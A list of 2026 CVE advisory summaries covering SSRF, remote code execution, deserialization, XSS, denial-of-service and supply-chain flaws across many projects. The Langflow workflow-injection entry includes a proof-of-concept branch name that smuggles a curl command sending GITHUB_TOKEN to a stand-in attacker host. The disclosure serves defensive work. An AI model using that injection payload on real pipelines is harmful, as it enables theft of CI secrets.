CVE-2026-33712
Typebot is a chatbot builder tool. In versions 3.15.2 and prior, the preview chat endpoint (POST /api/v1/typebots/{typebotId}/preview/startChat) allows unauthenticated users to achieve Server-Side Request Forgery (SSRF) by supplying a custom typebot definition with server-side code blocks. The fetch function exposed inside the isolated-vm sandbox calls Node.js native fetch without the SSRF validation (validateHttpReqUrl) that protects the HTTP Request block. This bypasses all SSRF mitigations added after GHSA-8gq9-rw7v-3jpr. Exploitation of this unauthenticated SSRF vulnerability can lead to cloud credential theft, internal network access and data exfiltration for any self-hosted Typebot deployments and hosted services. This issue has been fixed in version 3.16.0.
CVE-2026-33701
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: First, OpenTelemetry Java instrumentation is attached as a Java agent (`-javaagent`) on Java 16 or earlier. Second, JMX/RMI port has been explicitly configured via `-Dcom.sun.management.jmxremote.port` and is network-reachable. Third, gadget-chain-compatible library is present on the classpath. This results in arbitrary remote code execution with the privileges of the user running the instrumented JVM. For JDK >= 17, no action is required, but upgrading is strongly encouraged. For JDK < 17, upgrade to version 2.26.1 or later. As a workaround, set the system property `-Dotel.instrumentation.rmi.enabled=false` to disable the RMI integration.
CVE-2026-33697
Cocos AI is a confidential computing system for AI. The current implementation of attested TLS (aTLS) in CoCoS is vulnerable to a relay attack affecting all versions from v0.4.0 through v0.8.2. This vulnerability is present in both the AMD SEV-SNP and Intel TDX deployment targets supported by CoCoS. In the affected design, an attacker may be able to extract the ephemeral TLS private key used during the intra-handshake attestation. Because the attestation evidence is bound to the ephemeral key but not to the TLS channel, possession of that key is sufficient to relay or divert the attested TLS session. A client will accept the connection under false assumptions about the endpoint it is communicating with — the attestation report cannot distinguish the genuine attested service from the attacker's relay. This undermines the intended authentication guarantees of attested TLS. A successful attack may allow an attacker to impersonate an attested CoCoS service and access data or operations that the client intended to send only to the genuine attested endpoint. Exploitation requires the attacker to first extract the ephemeral TLS private key, which is possible through physical access to the server hardware, transient execution attacks, or side-channel attacks. Note that the aTLS implementation was fully redesigned in v0.7.0, but the redesign does not address this vulnerability. The relay attack weakness is architectural and affects all releases in the v0.4.0–v0.8.2 range. This vulnerability class was formally analyzed and demonstrated across multiple attested TLS implementations, including CoCoS, by researchers whose findings were disclosed to the IETF TLS Working Group. Formal verification was conducted using ProVerif. As of time of publication, there is no patch available. No complete workaround is available. The following hardening measures reduce but do not eliminate the risk: Keep TEE firmware and microcode up to date to reduce the key-extraction surface; define strict attestation policies that validate all available report fields, including firmware versions, TCB levels, and platform configuration registers; and/or enable mutual aTLS with CA-signed certificates where deployment architecture permits.
CVE-2026-33693
Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.7.0-beta.9, the `v4_is_invalid()` function in `activitypub-federation-rust` (`src/utils.rs`) does not check for `Ipv4Addr::UNSPECIFIED` (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server. Version 0.7.0-beta.9 patches the issue.
CVE-2026-33671
Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include disabling extglob support for untrusted patterns by using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, and applying application-level request throttling and input validation for any endpoint that accepts glob patterns.
CVE-2026-33657
EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have a stored HTML injection vulnerability that allows any authenticated user with standard (non-administrative) privileges to inject arbitrary HTML into system-generated email notifications by crafting malicious content in the post field of stream activity notes. The vulnerability exists because server-side Handlebars templates render the post field using unescaped triple-brace syntax, the Markdown processor preserves inline HTML by default, and the rendering pipeline explicitly skips sanitization for fields present in additionalData, creating a path where attacker-controlled HTML is accepted, stored, and rendered directly into emails without any escaping. Since the emails are sent using the system's configured SMTP identity (such as an administrative sender address), the injected content appears fully trusted to recipients, enabling phishing attacks, user tracking via embedded resources like image beacons, and UI manipulation within email content. The @mention feature further increases the impact by allowing targeted delivery of malicious emails to specific users. This issue has been fixed in version 9.3.4.
CVE-2026-33656
EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, EspoCRM's built-in formula scripting engine allowing updating attachment's sourceId thus allowing an authenticated admin to overwrite the `sourceId` field on `Attachment` entities. Because `sourceId` is concatenated directly into a file path with no sanitization in `EspoUploadDir::getFilePath()`, an attacker can redirect any file read or write operation to an arbitrary path within the web server's `open_basedir` scope. Version 9.3.4 fixes the issue.
CVE-2026-33641
Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. This issue has been patched in version 4.5.3.
CVE-2026-33634
Trivy is a security scanner. On March 19, 2026, a threat actor used compromised credentials to publish a malicious Trivy v0.69.4 release, force-push 76 of 77 version tags in `aquasecurity/trivy-action` to credential-stealing malware, and replace all 7 tags in `aquasecurity/setup-trivy` with malicious commits. This incident is a continuation of the supply chain attack that began in late February 2026. Following the initial disclosure on March 1, credential rotation was performed but was not atomic (not all credentials were revoked simultaneously). The attacker could have use a valid token to exfiltrate newly rotated secrets during the rotation window (which lasted a few days). This could have allowed the attacker to retain access and execute the March 19 attack. Affected components include the `aquasecurity/trivy` Go / Container image version 0.69.4, the `aquasecurity/trivy-action` GitHub Action versions 0.0.1 – 0.34.2 (76/77), and the`aquasecurity/setup-trivy` GitHub Action versions 0.2.0 – 0.2.6, prior to the recreation of 0.2.6 with a safe commit. Known safe versions include versions 0.69.2 and 0.69.3 of the Trivy binary, version 0.35.0 of trivy-action, and version 0.2.6 of setup-trivy. Additionally, take other mitigations to ensure the safety of secrets. If there is any possibility that a compromised version ran in one's environment, all secrets accessible to affected pipelines must be treated as exposed and rotated immediately. Check whether one's organization pulled or executed Trivy v0.69.4 from any source. Remove any affected artifacts immediately. Review all workflows using `aquasecurity/trivy-action` or `aquasecurity/setup-trivy`. Those who referenced a version tag rather than a full commit SHA should check workflow run logs from March 19–20, 2026 for signs of compromise. Look for repositories named `tpcp-docs` in one's GitHub organization. The presence of such a repository may indicate that the fallback exfiltration mechanism was triggered and secrets were successfully stolen. Pin GitHub Actions to full, immutable commit SHA hashes, don't use mutable version tags.
CVE-2026-33626
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.
CVE-2026-33579
OpenClaw before 2026.3.28 contains a privilege escalation vulnerability in the /pair approve command path that fails to forward caller scopes into the core approval check. A caller with pairing privileges but without admin privileges can approve pending device requests asking for broader scopes including admin access by exploiting the missing scope validation in extensions/device-pair/index.ts and src/infra/device-pairing.ts.
CVE-2026-33555
An issue was discovered in HAProxy before 3.3.6. The HTTP/3 parser does not check that the received body length matches a previously announced content-length when the stream is closed via a frame with an empty payload. This can cause desynchronization issues with the backend server and could be used for request smuggling. The earliest affected version is 2.6.
CVE-2026-33534
EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have an authenticated Server-Side Request Forgery (SSRF) vulnerability that allows bypassing the internal-host validation logic by using alternative IPv4 representations such as octal notation (e.g., 0177.0.0.1 instead of 127.0.0.1). This is caused by HostCheck::isNotInternalHost() function relying on PHP's filter_var(..., FILTER_VALIDATE_IP), which does not recognize alternative IP formats, causing the validation to fall through to a DNS lookup that returns no records and incorrectly treats the host as safe, however the cURL subsequently normalizes the address and connects to the loopback destination. Through the confirmed /api/v1/Attachment/fromImageUrl endpoint, an authenticated user can force the server to make requests to loopback-only services and store the fetched response as an attachment. This vulnerability is distinct from CVE-2023-46736 (which involved redirect-based SSRF) and may allow access to internal resources reachable from the application runtime. This issue has been fixed in version 9.3.4.
CVE-2026-33532
`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch.
CVE-2026-33531
InvenTree is an Open Source Inventory Management System. Prior to version 1.2.6, a path traversal vulnerability in the report template engine allows a staff-level user to read arbitrary files from the server filesystem via crafted template tags. Affected functions: `encode_svg_image()`, `asset()`, and `uploaded_image()` in `src/backend/InvenTree/report/templatetags/report.py`. This requires staff access (to upload / edit templates with maliciously crafted tags). If the InvenTree installation is configured with high access privileges on the host system, this path traversal may allow file access outside of the InvenTree source directory. This issue is patched in version 1.2.6, and 1.3.0 (or above). Users should update to the patched versions. No known workarounds are available.
CVE-2026-33475
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
CVE-2026-33454
The Camel-Mail component is vulnerable to Camel message header injection. The custom header filter strategy used by the component (MailHeaderFilterStrategy) only filters the 'out' direction via setOutFilterStartsWith, while it does not configure the 'in' direction via setInFilterStartsWith. As a result, when a Camel application consumes mail through camel-mail (for example via from(\"imap://...\") or from(\"pop3://...\")) the inbound filter check is skipped and Camel-prefixed MIME headers are mapped unfiltered into the Exchange. An attacker who can deliver an email to a mailbox monitored by such a consumer can inject Camel-specific headers that, for some Camel components downstream of the mail consumer (such as camel-bean, camel-exec, or camel-sql), can alter the behaviour of the route. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177) and the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891). This issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.1. Users are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.1. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6.
CVE-2026-33453
Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Apache Camel Camel-Coap component. Apache Camel's camel-coap component is vulnerable to Camel message header injection, leading to remote code execution when routes forward CoAP requests to header-sensitive producers (e.g. camel-exec) The camel-coap component maps incoming CoAP request URI query parameters directly into Camel Exchange In message headers without applying any HeaderFilterStrategy. Specifically, CamelCoapResource.handleRequest() iterates over OptionSet.getUriQuery() and calls camelExchange.getIn().setHeader(...) for every query parameter. CoAPEndpoint extends DefaultEndpoint rather than DefaultHeaderFilterStrategyEndpoint, and CoAPComponent does not implement HeaderFilterStrategyComponent; the component contains no references to HeaderFilterStrategy at all. As a result, an unauthenticated attacker who can send a single CoAP UDP packet to a Camel route consuming from coap:// can inject arbitrary Camel internal headers (those prefixed with Camel*) into the Exchange. When the route delivers the message to a header-sensitive producer such as camel-exec, camel-sql, camel-bean, camel-file, or template components (camel-freemarker, camel-velocity), the injected headers can alter the producer's behavior. In the case of camel-exec, the CamelExecCommandExecutable and CamelExecCommandArgs headers override the executable and arguments configured on the endpoint, resulting in arbitrary OS command execution under the privileges of the Camel process. The producer's output is written back to the Exchange body and returned in the CoAP response payload by CamelCoapResource, giving the attacker an interactive RCE channel without any need for out-of-band exfiltration. Exploitation prerequisites are minimal: a single unauthenticated UDP datagram to the CoAP port (default 5683). CoAP (RFC 7252) has no built-in authentication, and DTLS is optional and disabled by default. Because the protocol is UDP-based, HTTP-layer WAF/IDS controls do not apply. This issue affects Apache Camel: from 4.14.0 through 4.14.5, from 4.18.0 before 4.18.1, 4.19.0. Users are recommended to upgrade to version 4.18.1 or 4.19.0, fixing the issue.
CVE-2026-33439
Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464. An unauthenticated attacker can achieve arbitrary command execution on the server by sending a crafted serialized Java object as the jato.clientSession GET/POST parameter to any JATO ViewBean endpoint whose JSP contains <jato:form> tags (e.g., the Password Reset pages). This vulnerability is fixed in 16.0.6.
CVE-2026-33340
LoLLMs WEBUI provides the Web user interface for Lord of Large Language and Multi modal Systems. A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in all known existing versions of `lollms-webui`. The `@router.post("/api/proxy")` endpoint allows unauthenticated attackers to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata (e.g., AWS/GCP IAM tokens). As of time of publication, no known patched versions are available.
CVE-2026-33331
oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to version 1.13.9, a stored cross-site scripting (XSS) vulnerability exists in the OpenAPI documentation generation of orpc. If an attacker can control any field within the OpenAPI specification (such as info.description), they can break out of the JSON context and execute arbitrary JavaScript when a user views the generated API documentation. This issue has been patched in version 1.13.9.
CVE-2026-33320
Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.
CVE-2026-33317
OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. In versions 3.13.0 through 4.10.0, missing checks in `entry_get_attribute_value()` in `ta/pkcs11/src/object.c` can lead to out-of-bounds read from the PKCS#11 TA heap or a crash. When chained with the OOB read, the PKCS#11 TA function `PKCS11_CMD_GET_ATTRIBUTE_VALUE` or `entry_get_attribute_value()` can, with a bad template parameter, be tricked into reading at most 7 bytes beyond the end of the template buffer and writing beyond the end of the template buffer with the content of an attribute value of a PKCS#11 object. Commits e031c4e562023fd9f199e39fd2e85797e4cbdca9, 16926d5a46934c46e6656246b4fc18385a246900, and 149e8d7ecc4ef8bb00ab4a37fd2ccede6d79e1ca contain patches and are anticipated to be part of version 4.11.0.
CVE-2026-33310
Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.
CVE-2026-33267
Improper Input Validation vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 9.2.0 through 9.2.14, from 10.1.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fixes the issue.
CVE-2026-33234
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.1.0 through 0.6.51, SendEmailBlock in autogpt_platform/backend/backend/blocks/email_block.py accepts a user-supplied smtp_server (string) and smtp_port (integer) as per-execution block inputs, then passes them directly to Python's smtplib.SMTP() to open a raw TCP connection with no IP address validation. This completely bypasses the platform's hardened SSRF protections in backend/util/request.py — the validate_url_host() function and BLOCKED_IP_NETWORKS blocklist that every other block uses to block connections to private, loopback, link-local, and cloud metadata addresses. An authenticated user on a shared AutoGPT deployment can use this to perform non-blind internal network port scanning and service fingerprinting: smtplib reads the target's TCP banner on connect and embeds it in the exception message, which is persisted as user-visible block output via the execution framework. This issue has been fixed in version 0.6.52.
CVE-2026-33229
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Prior to 17.4.8 and 17.10.1, an improperly protected scripting API allows any user with script right to bypass the sandboxing of the Velocity scripting API and execute, e.g., arbitrary Python scripts, allowing full access to the XWiki instance and thereby compromising the confidentiality, integrity and availability of the whole instance. Note that script right already constitutes a high level of access that we don't recommend giving to untrusted users. This vulnerability is fixed in 17.4.8 and 17.10.1.
CVE-2026-33186
gRPC-Go is the Go language implementation of gRPC. Versions prior to 1.79.3 have an authorization bypass resulting from improper input validation of the HTTP/2 `:path` pseudo-header. The gRPC-Go server was too lenient in its routing logic, accepting requests where the `:path` omitted the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official `grpc/authz` package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with `/`) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present. This affects gRPC-Go servers that use path-based authorization interceptors, such as the official RBAC implementation in `google.golang.org/grpc/authz` or custom interceptors relying on `info.FullMethod` or `grpc.Method(ctx)`; AND that have a security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule). The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed `:path` headers directly to the gRPC server. The fix in version 1.79.3 ensures that any request with a `:path` that does not start with a leading slash is immediately rejected with a `codes.Unimplemented` error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string. While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods: Use a validating interceptor (recommended mitigation); infrastructure-level normalization; and/or policy hardening.
CVE-2026-33157
Craft CMS is a content management system (CMS). From version 5.6.0 to before version 5.9.13, a Remote Code Execution (RCE) vulnerability exists in Craft CMS, it can be exploited by any authenticated user with control panel access. This is a bypass of a previous fix. The existing patches add cleanseConfig() to assembleLayoutFromPost() and various FieldsController actions to strip Yii2 behavior/event injection keys ("as" and "on" prefixed keys). However, the fieldLayouts parameter in ElementIndexesController::actionFilterHud() is passed directly to FieldLayout::createFromConfig() without any sanitization, enabling the same behavior injection attack chain. This issue has been patched in version 5.9.13.
CVE-2026-33154
dynaconf is a configuration management tool for Python. Prior to version 3.2.13, Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @Jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment. This issue has been patched in version 3.2.13.
CVE-2026-33150
libfuse is the reference implementation of the Linux FUSE. From version 3.18.0 to before version 3.18.2, a use-after-free vulnerability in the io_uring subsystem of libfuse allows a local attacker to crash FUSE filesystem processes and potentially execute arbitrary code. When io_uring thread creation fails due to resource exhaustion (e.g., cgroup pids.max), fuse_uring_start() frees the ring pool structure but stores the dangling pointer in the session state, leading to a use-after-free when the session shuts down. The trigger is reliable in containerized environments where cgroup pids.max limits naturally constrain thread creation. This issue has been patched in version 3.18.2.
CVE-2026-33149
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Versions up to and including 2.5.3 set ALLOWED_HOSTS = '*' by default, which causes Django to accept any value in the HTTP Host header without validation. The application uses request.build_absolute_uri() to generate absolute URLs in multiple contexts, including invite link emails, API pagination, and OpenAPI schema generation. An attacker who can send requests to the application with a crafted Host header can manipulate all server-generated absolute URLs. The most critical impact is invite link poisoning: when an admin creates an invite and the application sends the invite email, the link points to the attacker's server instead of the real application. When the victim clicks the link, the invite token is sent to the attacker, who can then use it at the real application. As of time of publication, it is unknown if a patched version is available.
CVE-2026-33147
GMT is an open source collection of command-line tools for manipulating geographic and Cartesian data sets. In versions from 6.6.0 and prior, a stack-based buffer overflow vulnerability was identified in the gmt_remote_dataset_id function within src/gmt_remote.c. This issue occurs when a specially crafted long string is passed as a dataset identifier (e.g., via the which module), leading to a crash or potential arbitrary code execution. This issue has been patched via commit 0ad2b49.
CVE-2026-33146
Docmost is open-source collaborative wiki and documentation software. An authorization bypass vulnerability in versions 0.70.0 through 0.70.2 exposes restricted child page titles and text snippets through the public search endpoint (`POST /api/search/share-search`) for publicly shared content. This flaw allows unauthenticated users to enumerate and retrieve content that should remain hidden from public share viewers, leading to a confidentiality breach. Version 0.70.3 contains a patch.
CVE-2026-33137
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki Platform is a generic wiki platform. In versions starting with 15.10.6 and prior to 18.1.0-rc-1, 17.10.3, 17.4.9, and 16.10.17, the POST /wikis/{wikiName} API executes a XAR import without performing any authentication or authorization checks, allowing an unauthenticated attacker to create or update documents in the target wiki. This vulnerability has been patched in XWiki 16.10.17, 17.4.9, 17.10.3, 18.0.1 and 18.1.0-rc-1.
CVE-2026-33075
FastGPT is an AI Agent building platform. In versions 4.14.8.3 and below, the fastgpt-preview-image.yml workflow is vulnerable to arbitrary code execution and secret exfiltration by any external contributor. It uses pull_request_target (which runs with access to repository secrets) but checks out code from the pull request author's fork, then builds and pushes Docker images using attacker-controlled Dockerfiles. This also enables a supply chain attack via the production container registry. A patch was not available at the time of publication.
CVE-2026-33067
SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.
CVE-2026-33057
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
CVE-2026-33033
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. `MultiPartParser` allows remote attackers to degrade performance by submitting multipart uploads with `Content-Transfer-Encoding: base64` including excessive whitespace. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Seokchan Yoon for reporting this issue.
CVE-2026-33032
Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.
CVE-2026-33017
Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.
CVE-2026-33006
A timing attack against mod_auth_digest in Apache HTTP Server 2.4.66 allows a bypass of Digest authentication by a remote attacker. Users are recommended to upgrade to version 2.4.67, which fixes this issue.
CVE-2026-32996
This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation.
CVE-2026-32945
PJSIP is a free and open source multimedia communication library written in C. Versions 2.16 and below have a Heap-based Buffer Overflowvulnerability in the DNS parser's name length handler. Thisimpacts applications using PJSIP's built-in DNS resolver, such as those configured with pjsua_config.nameserver or UaConfig.nameserver in PJSUA/PJSUA2. It does not affect users who rely on the OS resolver (e.g., getaddrinfo()) by not configuring a nameserver, or those using an external resolver via pjsip_resolver_set_ext_resolver(). This issue is fixed in version 2.17. For users unable to upgrade, a workaround is to disable DNS resolution in the PJSIP config (by setting nameserver_count to zero) or to use an external resolver implementation instead.
CVE-2026-32941
Sliver is a command and control framework that uses a custom Wireguard netstack. Versions 1.7.3 and below contain a Remote OOM (Out-of-Memory) vulnerability in the Sliver C2 server's mTLS and WireGuard C2 transport layer. The socketReadEnvelope and socketWGReadEnvelope functions trust an attacker-controlled 4-byte length prefix to allocate memory, with ServerMaxMessageSize allowing single allocations of up to ~2 GiB. A compromised implant or an attacker with valid credentials can exploit this by sending fabricated length prefixes over concurrent yamux streams (up to 128 per connection), forcing the server to attempt allocating ~256 GiB of memory and triggering an OS OOM kill. This crashes the Sliver server, disrupts all active implant sessions, and may degrade or kill other processes sharing the same host. The same pattern also affects all implant-side readers, which have no upper-bound check at all. The issue was not fixed at the the time of publication.
CVE-2026-32913
OpenClaw before 2026.3.7 contains an improper header validation vulnerability in fetchWithSsrFGuard that forwards custom authorization headers across cross-origin redirects. Attackers can trigger redirects to different origins to intercept sensitive headers like X-Api-Key and Private-Token intended for the original destination.
CVE-2026-32794
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice. This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0. Users are recommended to upgrade to version 1.12.0, which fixes the issue.
CVE-2026-32746
telnetd in GNU inetutils through 2.7 allows an out-of-bounds write in the LINEMODE SLC (Set Local Characters) suboption handler because add_slc does not check whether the buffer is full.
CVE-2026-32743
